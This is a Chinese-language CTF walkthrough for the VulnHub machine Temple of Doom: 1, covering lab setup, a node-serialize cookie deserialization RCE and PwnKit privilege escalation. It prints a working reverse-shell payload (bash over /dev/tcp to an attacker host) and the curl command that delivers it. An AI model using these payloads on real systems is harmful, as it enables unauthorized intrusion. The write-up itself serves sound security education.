10 min read

Temple of Doom: 1 完整攻略:從環境地獄到 PwnKit

Temple of Doom: 1 完整攻略:從環境地獄到 PwnKit
靶機:Temple of Doom: 1(VulnHub,作者 0katz,2018)
難度:Easy/Intermediate,作者註明「2 ways to get root」
環境:WSL2 Kali + libvirt/KVM

前言:這篇不只是攻略,是一份完整的作戰日誌

大多數 Temple of Doom 的 writeup 直接從 nmap 開始,三兩下拿到 root,這篇不一樣 —— 它記錄了一件更真實、也更常見的事:在把 recon 做完之前,我先跟「怎麼把這台 VM 跑起來」搏鬥了一整天。

這台的價值,一半在攻擊鏈本身(node-serialize RCE 是很漂亮的 Node.js 洞),另一半在那些沒人寫進 writeup 的東西:WSL2 下虛擬化環境的相容性地獄、當 intended path 的服務沒啟動時如何判斷、以及在沒有編譯器的目標上如何用 AI 輔助客製一顆 PwnKit exploit。

完整 Kill Chain:(有劇透可先跳過喔!)

  1. 環境搭建(QEMU → libvirt,繞過 WSL2/VirtualBox 的 Hyper-V 衝突)
  2. Recon → port 666 的 Node.js Express 應用
  3. cookie 是 Base64 序列化物件 → 丟壞它炸出 stack trace → 確認 node-serialize
  4. node-serialize 反序列化 RCE(CVE-2017-5941)→ nodeadmin
  5. 提權:intended path(ss-manager 注入 → fireman → tcpdump)與實際走的 PwnKit(CVE-2021-4034)

0. 環境地獄:在 WSL2 裡把這台 VM 跑起來

這一段本身就夠寫一篇文章(另有專文),這裡濃縮記錄,因為它是這台真正花掉最多時間的部分。

為什麼 QEMU 裸跑與 VirtualBox 都不行

在 WSL2(Intel + RTX 3080 Ti)裡跑 VulnHub .ova,理論上有三條路,實測後只有一條活:

  • 裸 QEMU + 手刻 tap/bridge/dnsmasq:可行但脆弱,反覆踩到 tap NO-CARRIER(多隻 QEMU 搶同一個 tap)、介面名對不上、port 佔用。
  • VirtualBox:Oracle 官方論壇明確定性 —— WSL2 需要 Hyper-V,而 VirtualBox 在 Hyper-V 存在時只能跑「相容模式」(俗稱綠烏龜),品質是 alpha,實測會頻繁當機。這台 VM 在 VirtualBox 裡最後直接因缺失的 Host-only 網卡與 Hyper-V 衝突而無法啟動。
  • libvirt/KVM:最終的活路。

libvirt 為什麼能通:PCI slot 的巧合

關鍵洞察:libvirt 的 e1000 網卡固定落在 PCI bus 0 / slot 3,Linux 的 predictable naming 會把它命名為 enp0s3 —— 這正好是多數 VirtualBox 靶機期待的介面名,裸 QEMU 的自訂拓撲把網卡放在別的 slot,名字就對不上,導致 guest 開機後網卡不被帶起、拿不到 IP。

不過 Temple of Doom 是 Fedora 28,用 NetworkManager 自動管理網卡(不像 Debian 系綁死 /etc/network/interfaces),所以反而最好弄 —— 直接匯入就會拿到 IP。

完整啟動流程:

# 解包 + 轉 qcow2(.ova 內的 VMDK 是 streamOptimized 唯讀,必須轉;放原生 ext4 不放 /mnt)
tar xf temple-of-DOOM-v1.ova
qemu-img convert -p -O qcow2 *.vmdk TempleOfDoom.qcow2

# 匯入前先偵測 OS / 網路機制(Node 那台的血淚教訓)
sudo virt-cat -a TempleOfDoom.qcow2 /etc/os-release        # → Fedora 28
# 沒有 /etc/network/interfaces(Fedora 用 NetworkManager,不挑介面名)

# 掛預設 NAT 網路匯入
sudo virt-install --name TempleOfDoom --ram 2048 --vcpus 2 \
  --disk path=TempleOfDoom.qcow2,format=qcow2,bus=sata \
  --network network=default,model=e1000 \
  --os-variant generic --import --graphics vnc,listen=127.0.0.1 --noautoconsole

# 拿靶機 IP(libvirt 的介面是 vnet*,不是 tap0,別抓錯介面診斷)
sudo virsh net-dhcp-leases default        # → 192.168.122.140

1. Recon

sudo nmap -p- -sV -sC 192.168.122.140

只有兩個 port,攻擊面高度集中:

Port 服務 備註
22 OpenSSH 7.7 先擱著
666 Node.js Express 主攻擊面(惡魔數字,Doom 主題)

port 666 跑 Node.js Express,首頁只回一句 Under Construction, Come Back Later!(8 bytes),目錄爆破(feroxbuster 通用字典)幾乎空手 —— 這是打 Express 的常態:路由是程式定義的,不在檔案系統,通用字典猜不到。

2. Foothold:node-serialize 反序列化 RCE

whatweb 揭露關鍵:

Set-Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwi...
X-Powered-By: Express

那個 eyJ 開頭是 Base64 的 JSON,解開:

echo "eyJ1c2VybmFtZSI6IkFkbWluIiwi..." | base64 -d
# {"username":"Admin","csrftoken":"...","Expires=":Friday, 13 Oct 2018 ...}

伺服器把身分資訊塞進「用戶端可讀可改的 Base64 JSON」,且格式不是標準 JSON("Expires=": 引號不對稱)—— 這暗示伺服器用了某種反序列化,不是單純 JSON.parse

打靶最有效的偵查之一:送一個伺服器無法解析的輸入,讓它吐錯誤。

curl -s -i http://192.168.122.140:666/ -b "profile=aW52YWxpZA=="

回應是一整段 Express 的 stack trace,金礦在這行:

at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29

三個決定性情報:

  • 用了 node-serialize(有著名的 RCE 漏洞 CVE-2017-5941)
  • 應用跑在 nodeadmin 底下,路徑 /home/nodeadmin/.web/
  • server.js 第 12 行在 unserialize cookie

事後拿到 shell 讀 server.js,證實了攻擊面:

var serialize = require('node-serialize');
app.get('/', function(req, res) {
    if (req.cookies.profile) {
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);   // ← 致命的一行
        ...

2.3 node-serialize 的 RCE 原理與利用

node-serializeunserialize() 有個致命設計:當它遇到標記為函式的欄位(格式 _$$ND_FUNC$$_function(){...}),會用 eval 把它變回函式,若在函式後加 ()(IIFE,立即執行函式),反序列化的當下就會執行那段程式碼

反彈 shell 的 payload(IP 為 libvirt 網段的攻擊機 192.168.122.1):

# Kali listener
nc -lvnp 4444

# 構造惡意 cookie(node child_process 反彈 bash)
PAYLOAD='{"username":"_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"bash -c \\\"bash -i >& /dev/tcp/192.168.122.1/4444 0>&1\\\"\");}()","csrftoken":"x","Expires=":"x"}'
B64=$(echo -n "$PAYLOAD" | base64 -w0)
curl -s http://192.168.122.140:666/ -b "profile=$B64"

shell 彈回,id 確認立足點:

uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)
Linux localhost 4.16.3-301.fc28.x86_64 ... Fedora 28
這個 IIFE-in-cookie 的手法,跟一般 API 命令注入同源:任何「使用者可控輸入被當成程式碼執行」都是 RCE。

3. 提權:intended path 為何走不通,以及實際走的路

拿到 nodeadmin 後,提權卡了非常久,這一段記錄兩件事:作者設計的 intended path(為何這次跑不通),以及實際打通的 PwnKit

3.1 系統概觀

使用者:nodeadmin(1001)、fireman(1002)
異常:/usr/bin/bash 和 /usr/bin/zip 被 fireman 擁有(0755,無 SUID)
SUID:exim(服務未啟動)、pkexec、newuidmap/newgidmap 等
mysql.bak / wordpress DB:存在但 root:root,讀不到;靶機無 mysql client

一開始的假設是「翻檔案/DB 找 fireman 密碼」,但遍尋不著,真相要到後面才明朗。

3.2 幾條死路(記錄下來,避免重蹈)

  • exim 4.91(CVE-2019-10149,raptor_exim_wiz):SUID 存在、版本受影響,但 ss -tlnp | grep 25 顯示 exim 服務根本沒監聽。exploit 透過 exim 遞送 payload,服務沒開就無從打起。作者放了個「有 SUID 但沒啟動」的 exim 當幌子。
  • 翻密碼.web 只有 Node 依賴、.config 只有 pulseaudio、uploads 全是 Doom 遊戲圖、wp-config 讀不到。密碼不在檔案裡。
  • CVE-2018-18955(subuid_shell):linpeas 標 highly probable、精準命中 Fedora 28 核心。交叉編譯、改對 /etc/subuid 的映射值(165536)後成功進入 namespace root,但 —— uid_map 只映射 UID 0-999,真實 root(host UID 0)落在映射外,所以 /root/etc/shadow 顯示為 nobody:nobody,讀不到,這個 exploit 給的是「對映射範圍內檔案的 DAC bypass」,搆不到真 root 檔案。

3.3 intended path 的真相(這次為何斷)

網路上的 writeup 都走這兩步,但它們都有一個共同前提:ss-manager 服務要在跑。

作者設計的橫向機制是:開機時透過 /etc/rc.d/rc.local 或 fireman 的 @reboot cron 啟動 ss-manager(shadowsocks 的管理程序),監聽 UDP 8839,但這次開機該啟動機制沒生效(rc.local 那行被註解/cron 未觸發),所以:

  • 沒有 fireman 進程
  • UDP 8839 沒人聽
  • intended 的兩條路都沒有服務可打

這解釋了為何「翻密碼找 fireman」從一開始就是錯方向 —— intended path 根本不是靠密碼,是靠打 ss-manager 服務,而它沒起來,但我沒走這條路就請參考別人的writeup。

3.4 實際走的路:PwnKit(CVE-2021-4034)

因為 intended path 的服務沒起、其他 exploit 皆卡,最後改走一條 writeup 沒有、但不依賴任何服務的可靠路 —— PwnKit,直接 nodeadmin → root。

原理三層:

  1. 漏洞根源 —— pkexec 的 argv 越界pkexec(SUID root)處理 argv 的迴圈從 argv[1] 開始。若用 execveargc=0(空 argv) 呼叫它,迴圈會讀到 argv 陣列界線外的記憶體 —— 也就是環境變數區,於是把環境變數誤當參數處理,形成 OOB 讀寫。
  2. 利用 —— GCONV_PATH 載入惡意 module:pkexec 過程會呼叫 glibc 的字元轉換,而 glibc 依環境變數 GCONV_PATH 載入 gconv module(.so),透過 OOB 注入可控的 GCONV_PATH,指向一個惡意 .so,其 constructor 就是 payload。因 pkexec 是 SUID root,載入時以 root 執行 payload → 提權。
  3. 穩定性:這是邏輯漏洞、不是 memory corruption,不需繞 ASLR、不需洩漏位址,幾乎每台有 pkexec 的 Linux 都中,Fedora 28(2018)的 pkexec 當然未修(CVE 2022 才公布)。

這台的客製化(重點:沒有編譯器):

目標沒有任何 C 編譯器which gcc cc clang tcc 只有 make),公開的 PoC(如 berdav/CVE-2021-4034)是 C 版要編譯 —— 用不了,解法分兩塊:

  • 惡意 gconv module(pwnkit.so:在 Kali(host)交叉編譯,刻意只用 GLIBC_2.2.5 這種很舊的 symbol 版本,確保在目標的 glibc 2.27 上載得起來(向後相容),這塊必須是編譯好的 binary,因為目標編不了。
  • 觸發器(driver.py:改用 Python + ctypes(目標有 python3,不用編譯)重寫 C PoC 的觸發邏輯 —— 因為從 shell 無法傳「真正空的 argv」(shell 一定帶 argv[0]),而 ctypes 能直接控制 execve 傳空陣列。

觸發:

python3 /tmp/.p/driver.py
# 掉進 root sh
id                                              # uid=0(root)
cat /root/flag.txt                              # kre0cu4jl4rzjicpo1i7z5l1
python3 -c 'import pty;pty.spawn("/bin/bash")'  # 升級成完整 bash
心得:這其實是「AI 輔助 exploit 開發」的好範例 —— 公開 PoC 不能直接用(要編譯、目標無編譯器),於是根據漏洞原理,用目標有的工具(Python + 交叉編譯 .so)重新實作。

帶得走的方法論

  • 打 Express/Node 應用:路由是程式定義的,通用字典爆破常空手;改看回應 header、序列化物件(cookie)、丟壞輸入炸 stack trace,讓應用自己洩漏結構。
  • 序列化即攻擊面:看到 Base64 的物件 + 非標準 JSON,先想「它怎麼反序列化」;node-serialize 的 IIFE 手法是 Node RCE 經典。
  • 提權卡住時的策略:當一條路持續碰壁(intended path 的服務沒起、其他 exploit 前提不符),轉向不依賴服務的可靠路(PwnKit),但別忘了回頭理解 intended 設計 —— 那才是靶機的教學核心。
  • 無編譯器目標:交叉編譯靜態 binary、或改用直譯器(Python + ctypes)重寫 exploit,這是打現代精簡靶機的必備技巧。
  • PwnKit 是提權瑞士刀:邏輯漏洞、不需繞 ASLR、幾乎每台有 pkexec 的 Linux 都中;卡關時值得優先驗證 pkexec 是否存在且未修補。

本文為 Temple of Doom: 1 靶機的教學型 writeup,所有操作皆在本機隔離環境進行,切勿對未授權的系統進行任何測試。